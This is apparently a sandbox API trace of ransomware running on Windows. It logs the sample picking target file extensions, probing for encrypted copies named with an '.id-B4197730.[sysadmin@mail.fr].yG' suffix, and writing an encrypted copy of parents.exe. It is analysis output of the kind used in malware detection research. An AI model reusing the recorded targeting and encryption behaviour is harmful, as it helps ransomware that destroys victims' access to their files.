	[0181.939] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0181.939] lstrlenW (lpString=".ppt") returned 4
	[0181.939] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0181.939] lstrlenW (lpString=".zip") returned 4
	[0181.939] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.939] lstrlenW (lpString=".rar") returned 4
	[0181.939] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.939] lstrlenW (lpString=".bz2") returned 4
	[0181.939] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.939] lstrlenW (lpString=".7z") returned 3
	[0181.939] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0181.939] lstrlenW (lpString=".dbf") returned 4
	[0181.939] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0181.939] lstrlenW (lpString=".1cd") returned 4
	[0181.939] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0181.939] lstrlenW (lpString=".jpg") returned 4
	[0181.939] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0181.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0181.939] lstrlenW (lpString=".doc") returned 4
	[0181.940] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.940] lstrlenW (lpString=".docx") returned 5
	[0181.940] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0181.940] lstrlenW (lpString=".pdf") returned 4
	[0181.940] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.940] lstrlenW (lpString=".xls") returned 4
	[0181.940] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.940] lstrlenW (lpString=".xlsx") returned 5
	[0181.940] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0181.940] lstrlenW (lpString=".ppt") returned 4
	[0181.940] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0181.940] lstrlenW (lpString=".zip") returned 4
	[0181.940] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.940] lstrlenW (lpString=".rar") returned 4
	[0181.940] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.940] lstrlenW (lpString=".bz2") returned 4
	[0181.940] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.940] lstrlenW (lpString=".7z") returned 3
	[0181.940] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0181.941] lstrlenW (lpString=".dbf") returned 4
	[0181.941] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0181.941] lstrlenW (lpString=".1cd") returned 4
	[0181.941] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 54
	[0181.941] lstrlenW (lpString=".jpg") returned 4
	[0181.941] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.941] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0181.941] lstrlenW (lpString="msdasqlr.dll.mui") returned 16
	[0181.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0181.942] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=6144) returned 1
	[0181.942] CloseHandle (hObject=0x354) returned 1
	[0181.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20
	[0181.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 66
	[0181.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 66
	[0181.942] lstrlenW (lpString=".doc") returned 4
	[0181.942] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0181.942] lstrlenW (lpString=".docx") returned 5
	[0181.942] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0181.942] lstrlenW (lpString=".pdf") returned 4
	[0181.943] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0181.943] lstrlenW (lpString=".xls") returned 4
	[0181.943] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0181.943] lstrlenW (lpString=".xlsx") returned 5
	[0181.943] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0181.943] lstrlenW (lpString=".ppt") returned 4
	[0181.943] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0181.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 66
	[0181.943] lstrlenW (lpString=".zip") returned 4
	[0181.943] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0181.943] lstrlenW (lpString=".rar") returned 4
	[0181.943] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0181.943] lstrlenW (lpString=".bz2") returned 4
	[0181.943] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0181.943] lstrlenW (lpString=".7z") returned 3
	[0181.943] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0181.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 66
	[0181.943] lstrlenW (lpString=".dbf") returned 4
	[0181.943] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0181.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 66
	[0181.943] lstrlenW (lpString=".1cd") returned 4
	[0181.943] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0181.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 66
	[0181.943] lstrlenW (lpString=".jpg") returned 4
	[0181.943] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0181.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 66
	[0181.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 66
	[0181.944] lstrlenW (lpString=".doc") returned 4
	[0181.944] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0181.944] lstrlenW (lpString=".docx") returned 5
	[0181.944] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0181.944] lstrlenW (lpString=".pdf") returned 4
	[0181.944] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0181.944] lstrlenW (lpString=".xls") returned 4
	[0181.944] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0181.944] lstrlenW (lpString=".xlsx") returned 5
	[0181.944] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0181.944] lstrlenW (lpString=".ppt") returned 4
	[0181.944] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0181.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 66
	[0181.944] lstrlenW (lpString=".zip") returned 4
	[0181.944] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0181.944] lstrlenW (lpString=".rar") returned 4
	[0181.944] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0181.944] lstrlenW (lpString=".bz2") returned 4
	[0181.944] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0181.944] lstrlenW (lpString=".7z") returned 3
	[0181.944] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0181.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 66
	[0181.944] lstrlenW (lpString=".dbf") returned 4
	[0181.944] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0181.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 66
	[0181.944] lstrlenW (lpString=".1cd") returned 4
	[0181.944] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0181.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 66
	[0181.944] lstrlenW (lpString=".jpg") returned 4
	[0181.945] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0181.945] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0181.945] lstrlenW (lpString="oledb32r.dll.mui") returned 16
	[0181.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0181.945] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=48128) returned 1
	[0181.946] CloseHandle (hObject=0x354) returned 1
	[0181.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20
	[0181.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66
	[0181.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66
	[0181.946] lstrlenW (lpString=".doc") returned 4
	[0181.946] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0181.946] lstrlenW (lpString=".docx") returned 5
	[0181.946] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0181.946] lstrlenW (lpString=".pdf") returned 4
	[0181.946] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0181.946] lstrlenW (lpString=".xls") returned 4
	[0181.946] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0181.946] lstrlenW (lpString=".xlsx") returned 5
	[0181.946] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0181.946] lstrlenW (lpString=".ppt") returned 4
	[0181.946] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0181.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66
	[0181.946] lstrlenW (lpString=".zip") returned 4
	[0181.947] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0181.947] lstrlenW (lpString=".rar") returned 4
	[0181.947] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0181.947] lstrlenW (lpString=".bz2") returned 4
	[0181.947] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0181.947] lstrlenW (lpString=".7z") returned 3
	[0181.947] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0181.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66
	[0181.947] lstrlenW (lpString=".dbf") returned 4
	[0181.947] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0181.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66
	[0181.947] lstrlenW (lpString=".1cd") returned 4
	[0181.947] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0181.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66
	[0181.947] lstrlenW (lpString=".jpg") returned 4
	[0181.947] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0181.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66
	[0181.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66
	[0181.947] lstrlenW (lpString=".doc") returned 4
	[0181.947] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0181.947] lstrlenW (lpString=".docx") returned 5
	[0181.947] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0181.947] lstrlenW (lpString=".pdf") returned 4
	[0181.947] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0181.947] lstrlenW (lpString=".xls") returned 4
	[0181.947] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0181.947] lstrlenW (lpString=".xlsx") returned 5
	[0181.948] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0181.948] lstrlenW (lpString=".ppt") returned 4
	[0181.948] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0181.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66
	[0181.948] lstrlenW (lpString=".zip") returned 4
	[0181.948] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0181.948] lstrlenW (lpString=".rar") returned 4
	[0181.948] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0181.948] lstrlenW (lpString=".bz2") returned 4
	[0181.948] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0181.948] lstrlenW (lpString=".7z") returned 3
	[0181.948] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0181.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66
	[0181.948] lstrlenW (lpString=".dbf") returned 4
	[0181.948] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0181.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66
	[0181.948] lstrlenW (lpString=".1cd") returned 4
	[0181.948] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0181.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned 66
	[0181.948] lstrlenW (lpString=".jpg") returned 4
	[0181.948] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0181.948] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0181.948] lstrlenW (lpString="sqloledb.rll.mui") returned 16
	[0181.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0181.949] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=44032) returned 1
	[0181.949] CloseHandle (hObject=0x354) returned 1
	[0181.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20
	[0181.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66
	[0181.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66
	[0181.950] lstrlenW (lpString=".doc") returned 4
	[0181.950] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0181.950] lstrlenW (lpString=".docx") returned 5
	[0181.950] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0181.950] lstrlenW (lpString=".pdf") returned 4
	[0181.950] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0181.950] lstrlenW (lpString=".xls") returned 4
	[0181.950] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0181.950] lstrlenW (lpString=".xlsx") returned 5
	[0181.950] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0181.950] lstrlenW (lpString=".ppt") returned 4
	[0181.950] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0181.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66
	[0181.950] lstrlenW (lpString=".zip") returned 4
	[0181.950] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0181.950] lstrlenW (lpString=".rar") returned 4
	[0181.950] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0181.950] lstrlenW (lpString=".bz2") returned 4
	[0181.950] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0181.950] lstrlenW (lpString=".7z") returned 3
	[0181.950] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0181.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66
	[0181.951] lstrlenW (lpString=".dbf") returned 4
	[0181.951] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0181.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66
	[0181.951] lstrlenW (lpString=".1cd") returned 4
	[0181.951] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0181.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66
	[0181.951] lstrlenW (lpString=".jpg") returned 4
	[0181.951] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0181.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66
	[0181.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66
	[0181.951] lstrlenW (lpString=".doc") returned 4
	[0181.951] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0181.951] lstrlenW (lpString=".docx") returned 5
	[0181.951] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0181.951] lstrlenW (lpString=".pdf") returned 4
	[0181.951] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0181.951] lstrlenW (lpString=".xls") returned 4
	[0181.951] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0181.951] lstrlenW (lpString=".xlsx") returned 5
	[0181.951] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0181.951] lstrlenW (lpString=".ppt") returned 4
	[0181.951] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0181.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66
	[0181.951] lstrlenW (lpString=".zip") returned 4
	[0181.951] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0181.951] lstrlenW (lpString=".rar") returned 4
	[0181.951] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0181.952] lstrlenW (lpString=".bz2") returned 4
	[0181.952] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0181.952] lstrlenW (lpString=".7z") returned 3
	[0181.952] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0181.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66
	[0181.952] lstrlenW (lpString=".dbf") returned 4
	[0181.952] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0181.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66
	[0181.952] lstrlenW (lpString=".1cd") returned 4
	[0181.952] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0181.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned 66
	[0181.952] lstrlenW (lpString=".jpg") returned 4
	[0181.952] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0181.952] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0181.952] lstrlenW (lpString="sqlxmlx.rll.mui") returned 15
	[0181.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0181.953] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=18432) returned 1
	[0181.953] CloseHandle (hObject=0x354) returned 1
	[0181.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20
	[0181.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65
	[0181.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65
	[0181.953] lstrlenW (lpString=".doc") returned 4
	[0181.953] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0181.953] lstrlenW (lpString=".docx") returned 5
	[0181.953] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0181.954] lstrlenW (lpString=".pdf") returned 4
	[0181.954] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0181.954] lstrlenW (lpString=".xls") returned 4
	[0181.954] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0181.954] lstrlenW (lpString=".xlsx") returned 5
	[0181.954] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0181.954] lstrlenW (lpString=".ppt") returned 4
	[0181.954] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0181.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65
	[0181.954] lstrlenW (lpString=".zip") returned 4
	[0181.954] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0181.954] lstrlenW (lpString=".rar") returned 4
	[0181.954] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0181.954] lstrlenW (lpString=".bz2") returned 4
	[0181.954] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0181.954] lstrlenW (lpString=".7z") returned 3
	[0181.954] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0181.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65
	[0181.954] lstrlenW (lpString=".dbf") returned 4
	[0181.954] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0181.966] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.966] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.966] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\parents.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\internet explorer\\parents.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0181.967] GetLastError () returned 0x0
	[0181.967] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x12800, lpOverlapped=0x0) returned 1
	[0182.188] WriteFile (in: hFile=0x368, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0x12810, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0x12810, lpOverlapped=0x0) returned 1
	[0182.190] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
